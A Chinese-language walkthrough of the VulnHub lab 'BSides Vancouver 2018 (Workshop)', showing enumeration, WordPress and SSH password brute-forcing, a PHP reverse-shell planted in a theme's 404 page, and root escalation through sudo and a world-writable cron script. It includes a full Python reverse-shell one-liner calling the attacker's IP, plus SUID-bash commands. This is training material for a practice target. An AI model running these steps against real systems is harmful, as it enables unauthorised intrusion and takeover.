BSides Vancouver: 2018 (Workshop)
BSides Vancouver: 2018 (Workshop)
来自 <https://www.vulnhub.com/entry/bsides-vancouver-2018-workshop,231/>
1,将两台虚拟机网络连接都改为NAT模式
2,攻击机上做namp局域网扫描发现靶机
nmap -sn 192.168.23.0/24

那么攻击机IP为192.168.23.182,靶场IP192.168.23.199
3,对靶机进行端口服务探测
nmap -sV -T4 -p- -A 192.168.23.199

服务器同时存在FTP,SSH,HTTP服务,分别进行信息收集
1. FTP 服务 (vsftpd 2.3.5)
- 漏洞风险:
- 匿名登录:允许匿名访问(用户 ftp/空密码),存在信息泄露风险。
- 版本检查:vsftpd 2.3.5 已修复著名的后门漏洞(CVE-2011-2523),但仍需验证是否存在其他漏洞。
- 建议操作:
- 登录并检查 public 目录内容:
ftp <IP>
# 用户名:anonymous,密码:空或任意邮箱
ls
get <文件> # 下载可疑文件 - 检查是否有写入权限(尝试上传文件)。
- 登录并检查 public 目录内容:
2. SSH 服务 (OpenSSH 5.9p1)
- 漏洞风险:
- 旧版本风险:可能受漏洞如 CVE-2016-0777(信息泄露)影响。
- 弱密钥类型:DSA 1024位密钥强度不足,建议升级至 RSA 2048+ 或 ECDSA。
- 建议操作:
- 扫描支持的加密算法:
nmap --script ssh2-enum-algos <IP> - 避免使用不安全的算法(如 CBC 模式)。
- 扫描支持的加密算法:
3. HTTP 服务 (Apache 2.2.22)
- 漏洞风险:
- Apache 漏洞:旧版本可能受拒绝服务(CVE-2011-3192)或目录遍历漏洞影响。
- 敏感路径泄露:/backup_wordpress 可能存在备份文件(如 wp-config.php)。
- 建议操作:
- 访问 http://<IP>/backup_wordpress/,检查是否存在:
- WordPress 备份文件(.zip, .sql 等)。
- 配置文件(含数据库凭据)。
- 执行目录扫描:
gobuster dir -u http://<IP>/ -w /path/to/wordlist.txt
- 访问 http://<IP>/backup_wordpress/,检查是否存在:
4,尝试匿名登录ftp服务器
anonymous
查看目录 ls
发现public目录,进入pubilc目录 cd public
然后get下载这个txt文件 get user.txt.bk

5,访问一下80端口的网站

应该还需要扫出网站的子目录

扫描出来robots.txt,访问之

/backup_wordpress访问之
http://192.168.23.199/backup_wordpress/

dirsearch -u http://192.168.23.199/backup_wordpress -x 403,404,500

是存在登录页面的,推测ftp服务器泄露文件的用户名用于登录wordpress
6,还有方法就是使用hydra爆破ssh登录。这里使用wpscan扫描WordPress,暴破后台用户名:
wpscan --url http://192.168.23.199/backup_wordpress --enumerate u

爆破后台密码:
wpscan --url ' http://192.168.23.199/backup_wordpress/' --api-token 'API' -U wordpressusers.txt -P /usr/share/wordlists/rockyou.txt

爆破出账号密码john/enigma

成功登录
7,尝试修改404页面的内容,使用的脚本是kali自带的反弹shell木马
cp /usr/share/webshells/php/php-reverse-shell.php /root
http://192.168.23.199/backup_wordpress/wp-admin/theme-editor.php?file=404.php&theme=twentysixteen

成功上传

8,在攻击机上开启nc对4444端口监听,

然后访问一个不存在的网页
http://192.168.23.199/backup_wordpress/wp-content/themes/twentysixteen/404.php
9,python脚本启动一个交互式shell
python -c 'import pty;pty.spawn("/bin/bash")'

信息收集发现用户

然后尝试ssh爆破出用户弱口令
hydra -l anne -P /usr/share/wordlists/rockyou.txt -t 4 ssh://192.168.23.199

第一种办法,服务器配置不当弱口令登录提权
10,ssh成功登录。账户/密码:anne/princess
anne@192.168.23.199

sudo -l发现所有命令都能够sudo权限,直接提权成为root

第二种办法,777权限文件反弹shell提权
1,查找具有777权限的文件
find / -type f -perm 0777 2>/dev/null
关键参数解析:
- sudo
以 root 权限执行,避免因目录不可读导致的遗漏(若以普通用户身份运行,可能漏掉大量文件)。 - -perm 0777
严格匹配权限为 777 的文件(八进制写法更规范)。 - 2>/dev/null
忽略所有错误(如权限拒绝、文件不存在等)。

与Linux 提权联系:
风险场景
权限为 777 的文件意味着任何用户均可读、写、执行,攻击者可能利用以下场景提权:
| 文件类型 | 提权利用方式 | 示例 |
| 可执行程序/脚本 | 替换文件内容,插入恶意代码(如反弹 Shell),等待高权限用户或服务调用。 | /usr/local/bin/custom* |
| Cron Job 脚本 | 修改定时任务脚本,注入提权代码,利用 Cron 以 root 权限执行。 | /etc/cron.daily/* |
| 服务配置文件 | 修改服务配置文件,诱导服务重启后加载恶意模块或执行命令。 | /etc/init.d/*.conf |
| 日志/临时文件 | 写入恶意内容并配合符号链接、竞争条件等漏洞提权。 | /var/log/*.log |
| SUID/SGID 文件 | 若权限为 777 且设置了 SUID,直接修改文件内容可获取 root 权限。 | /usr/bin/old_tool |
典型案例
- Cron Job 提权
若发现 /etc/cron.hourly/cleanup 权限为 777,攻击者可写入以下代码:
chmod +s /bin/bash # 赋予 Bash SUID 权限
Cron 以 root 执行后,普通用户运行 /bin/bash -p 即可获得 root Shell。 - SUID 滥用
若某 SUID 程序权限为 777:
echo 'cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash' > /usr/bin/vulnerable
/tmp/rootbash -p # 启动后获得 root
2,再插入恶意提权代码
echo '#!/bin/sh python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.23.182",1234));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'' > /usr/local/bin/cleanup
反弹shell成为root用户
相关文章:
BSides Vancouver: 2018 (Workshop)
BSides Vancouver: 2018 (Workshop) 来自 <https://www.vulnhub.com/entry/bsides-vancouver-2018-workshop,231/> 1,将两台虚拟机网络连接都改为NAT模式 2,攻击机上做namp局域网扫描发现靶机 nmap -sn 192.168.23.0/24 那么攻击机IP为192.168.23…...
rStar论文精读
论文简介 论文标题:《Mutual reasoning makes smaller LLMs stronger problem-solvers》 论文地址:https://arxiv.org/abs/2408.06195 录用会议:ICLR2025 背景与挑战 挑战1:在SLM中平衡exploration与exploitation。一些方法有很…...
【动态规划】对局匹配 (分组线性DP)
题目详情 问题描述: 小明喜欢在一个围棋网站上找别人在线对弈。这个网站上所有注册用户都有一个积分,代表他的围棋水平。 小明发现网站的自动对局系统在匹配对手时,只会将积分差恰好是K的两名用户匹配在一起。如果两人分差小于或大于K…...
python 提取视频中的音频
在Python中提取视频中的音频,你可以使用moviepy库,这是一个非常强大且易于使用的库,专门用于视频编辑。以下是如何使用moviepy来提取视频中的音频的步骤: 安装moviepy 首先,你需要安装moviepy。你可以通过pip安装它&a…...
self.cls_token在 Vision Transformer (ViT) 模型中的训练阶段和推理阶段的行为和作用的异同
self.cls_token 在 Vision Transformer (ViT) 模型中,在训练阶段和推理阶段的行为和作用是不同的,而且它的值在训练过程中会发生变化。 1. self.cls_token 的作用 在 ViT 中,self.cls_token 是一个特殊的、可学习的嵌入向量(emb…...
【量化科普】Leverage,杠杆
【量化科普】Leverage,杠杆 🚀量化软件开通 🚀量化实战教程 在量化投资领域,杠杆(Leverage)是一个核心概念,它允许投资者通过借入资金来增加投资规模,从而放大投资收益或亏损。简…...
247g 的工业级电调,如何让无人机飞得更 “聪明“?——STONE 200A-M 深度测评
一、轻量化设计背后的技术取舍 当拿到 STONE 200A-M 时,247g 的重量让人意外 —— 这个接近传统 200A 电调 70% 的重量,源自 1205624.5mm 的紧凑结构(0.1mm 公差控制)。实测装机显示,相比同规格产品,其体积…...
Maven Deploy Plugin如何使用?
在Java开发中,Maven是一个非常重要的构建工具。它不仅可以管理项目的依赖关系,还能帮助我们打包和发布项目。在Maven中,deploy插件是一个很实用的功能,它可以将构建好的项目发布到远程仓库。今天,就来聊聊如何使用Mave…...
Node.js:快速启动你的第一个Web服务器
Node.js 全面入门指南 文章目录 Node.js 全面入门指南一 安装Node.js1. Windows2. MacOS/Linux 二 配置开发环境1. VSCode集成 三 第一个Node.js程序1. 创建你的第一个Node.js程序 四 使用Express框架1. 快速搭建服务器 一 安装Node.js 1. Windows 以下是Windows环境下Node.j…...
自定义日志回调函数实现第三方库日志集成:从理论到实战
一、应用场景与痛点分析 在开发过程中,我们经常会遇到以下场景: 日志格式统一:第三方库使用自己的日志格式,导致系统日志混杂,难以统一管理和分析。日志分级过滤:需要动态调整第三方库的日志输出级别&…...
Linux练级宝典->任务管理和守护进程
任务管理 进程组概念 每个进程除了进程ID以外,还有一个进程组,进程组就是一个或多个进程的集合 同一个进程组,代表着他们是共同作业的,可以接收同一个终端的各种信号,进程组也有其唯一的进程组号。还有一个组长进程&a…...
C语言:计算并输出三个整数的最大值 并对三个数排序
这是《C语言程序设计》73页的思考题。下面分享自己的思路和代码 思路: 代码: #include <stdio.h> int main() {int a,b,c,max,min,mid ; //设置大中小的数分别为max,mid,min,abc为输入的三个数printf("ple…...
工具(十二):Java导出MySQL数据库表结构信息到excel
一、背景 遇到需求:将指定数据库表设计,统一导出到一个Excel中,存档查看。 如果一个一个弄,很复杂,耗时长。 二、写一个工具导出下 废话少絮,上码: 2.1 pom导入 <dependency><grou…...
如何设计微服务及其设计原则?
微服务架构是一种将大型单体应用拆分成多个小型、自治服务的设计方式,每个服务专注于单一的业务功能。设计微服务时,需要遵循以下原则和最佳实践: 1. 单一职责原则 核心思想: 每个微服务都应该只负责一块独立的业务功能。这使得…...
ACL初级总结
ACL–访问控制列表 1.访问控制 在路由器流量流入或者流出的接口上,匹配流量,然后执行相应动作 permit允许 deny拒绝 2.抓取感兴趣流 3.ACL匹配规则 自上而下逐一匹配,若匹配到了则按照对应规则执行动作,而不再向下继续匹配 思科:ACL列表末尾隐含一条拒绝所有的规则 华为:AC…...
调优案例一:堆空间扩容提升吞吐量实战记录
📝 调优案例一:堆空间扩容提升吞吐量实战记录 🔧 调优策略:堆空间扩容三部曲 # 原配置(30MB堆空间) export CATALINA_OPTS"$CATALINA_OPTS -Xms30m -Xmx30m"# 新配置(扩容至120MB&am…...
C语言 —— 此去经年梦浪荡魂音 - 深入理解指针(卷一)
目录 1. 内存和地址 2. 指针变量和地址 2.1 取地址操作符(&) 2.2 指针变量 2.3 解引用操作符 (*) 3. 指针的解引用 3.1 指针 - 整数 3.2 void* 指针 4. const修饰指针 4.1 const修饰变量 4.2 const修饰指针变量 5…...
计算机毕业设计:留守儿童的可视化界面
留守儿童的可视化界面mysql数据库创建语句留守儿童的可视化界面oracle数据库创建语句留守儿童的可视化界面sqlserver数据库创建语句留守儿童的可视化界面springspringMVChibernate框架对象(javaBean,pojo)设计留守儿童的可视化界面springspringMVCmybatis框架对象(javaBean,poj…...
golang算法二叉树对称平衡右视图
100. 相同的树 给你两棵二叉树的根节点 p 和 q ,编写一个函数来检验这两棵树是否相同。 如果两个树在结构上相同,并且节点具有相同的值,则认为它们是相同的。 示例 1: 输入:p [1,2,3], q [1,2,3] 输出:…...
c++20 Concepts的简写形式与requires 从句形式
c20 Concepts的简写形式与requires 从句形式 原始写法(简写形式)等效写法(requires 从句形式)关键区别说明:组合多个约束的示例:两种形式的编译结果:更复杂的约束示例:标准库风格的约…...
Chatbox通过百炼调用DeepSeek
解决方案链接:评测|零门槛,即刻拥有DeepSeek-R1满血版 方案概览 本方案以 DeepSeek-R1 满血版为例进行演示,通过百炼模型服务进行 DeepSeek 开源模型调用,可以根据实际需求选择其他参数规模的 DeepSeek 模型。百炼平台…...
【数据结构】6栈
0 章节 3.1到3.3小节。 认知与理解栈结构; 列举栈的操作特点。 理解并列举栈的应用案例。 重点 栈的特点与实现; 难点 栈的灵活实现与应用 作业或思考题 完成学习测试2,? 内容达成以下标准(考核…...
PyTorch 入门学习
目录 PyTorch 定义 核心作用 应用场景 Pytorch 基本语法 1. 张量的创建 2. 张量的类型转换 3. 张量数值计算 4. 张量运算函数 5. 张量索引操作 6. 张量形状操作 7. 张量拼接操作 8. 自动微分模块 9. 案例-线性回归案例 PyTorch 定义 PyTorch 是一个基于 Python 深…...
mov格式视频如何转换mp4?
mov格式视频如何转换mp4?在日常的视频处理中,经常需要将MOV格式的视频转换为MP4格式,以兼容更多的播放设备和平台。下面给大家分享如何将MOV视频转换为MP4,4款视频格式转换工具分享。 一、牛学长转码大师 牛学长转码大师是一款功…...
数据结构与算法:动态规划dp:子序列相关力扣题(下):392. 判断子序列、115.不同的子序列
392. 判断子序列 1.套最长公共子序列问题的板子 class Solution:def isSubsequence(self, s: str, t: str) -> bool:"""最长公共子序列长度是否len(s),是就是true,否就是falsedp[i][j]考虑以s[i-1],t[j-1]的最长公共子序…...
二进制求和(js实现,LeetCode:67)
这道题我的解决思路是先将a和b的长度保持一致以方便后续按位加减 let lena a.length let lenb b.length if (lena ! lenb) {if (lena > lenb) {for (let i 0; i <lena-lenb; i) {b 0 b}} else {for (let i 0; i < lenb-lena; i) {a 0 a}} } 下一步直接进行按…...
【C#】使用DeepSeek帮助评估数据库性能问题,C# 使用定时任务,每隔一分钟移除一次表,再重新创建表,和往新创建的表追加5万多条记录
🌹欢迎来到《小5讲堂》🌹 🌹这是《C#》系列文章,每篇文章将以博主理解的角度展开讲解。🌹 🌹温馨提示:博主能力有限,理解水平有限,若有不对之处望指正!&#…...
【openGauss】物理备份恢复
文章目录 1. gs_backup(1)备份(2)恢复(3)手动恢复的办法 2. gs_basebackup(1)备份(2)恢复① 伪造数据目录丢失② 恢复 3. gs_probackup(1…...
蓝桥杯备赛-基础练习 day1
1、闰年判断 问题描述 给定一个年份,判断这一年是不是闰年。 当以下情况之一满足时,这一年是闰年:1.年份是4的倍数而不是100的倍数 2.年份是400的倍数。 其他的年份都不是闰年。 输入格式 输入包含一个…...
实验四 Python聚类决策树训练与预测 基于神经网络的MNIST手写体识别
一、实验目的 Python聚类决策树训练与预测: 1、掌握决策树的基本原理并理解监督学习的基本思想。 2、掌握Python实现决策树的方法。 基于神经网络的MNIST手写体识别: 1、学习导入和使用Tensorflow。 2、理解学习神经网络的基本原理。 3、学习使用…...
